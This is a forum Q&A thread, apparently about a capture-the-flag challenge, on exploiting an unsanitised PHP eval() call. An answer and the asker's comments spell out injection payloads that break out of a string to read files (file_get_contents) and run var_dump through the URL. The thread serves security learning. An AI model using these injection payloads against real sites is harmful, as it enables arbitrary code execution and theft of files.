I am able to directly input with next to no constraints a value into a nest of functions, but I am unsure how I could exploit this. I got this by injecting PHP code into the URL to display the source code, I have to hack this function to capture the flag hidden in a file in the root directory (the same directory as the index.php)

eval("fwrite(fopen('stats/stats.txt','a'),'$fileName');"); ?>

This is the link I have to try and manipulate. Any ideas on what I could do? I don't know the name of the file that holds the flag.

2 Answers 2


Inject this to eval() and it will displaying the directory files list:


in url :


  • yea i managed to get this in the end xD managed to get in and get the files etc
    – TheHidden
    Oct 5, 2015 at 12:31

If you control the $fileName parameter then you can alter the following line from

eval("fwrite(fopen('stats/stats.txt','a'),'$fileName');"); ?>


eval("fwrite(fopen('stats/stats.txt','a'),'some_file.txt'); echo file_get_contents('challenge_file.txt'); echo('');"); ?>

$fileName is set to some_file.txt'); echo file_get_contents('challenge_file.txt'); echo('

So what happens? The string some_file.txt'); ensures that fwrite is being called correctly (assume that the file exists and has appropriate permissions) and terminates the command with ;.

Then we get the contents of the the challenge file and display them with

echo file_get_contents('challenge_file.txt');

echo(' is expanded to echo(''); so that the resulting php code is syntactically valid.

  • I am getting places slowly... I worked out to break the code I have to put in url speech marks which is weird because there isnt any to open the code... so i have to break it in the url also like so.... /download.php?file=files/read_me.txt%27);var_dump(%27%27.$file.%27 (this is me practicing executing code which obviously vardumps the url ) which is working btw
    – TheHidden
    Oct 1, 2015 at 14:40
  • i am struggling displaying the directory files with scandir... i keep breaking it with encapsulated white space... which is annoying because I if i remove the speech marks it tries to find the file name
    – TheHidden
    Oct 1, 2015 at 14:51
  • Run the code here. It's far more easier and convenient: phpfiddle.org
    – Sebi
    Oct 1, 2015 at 15:00

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .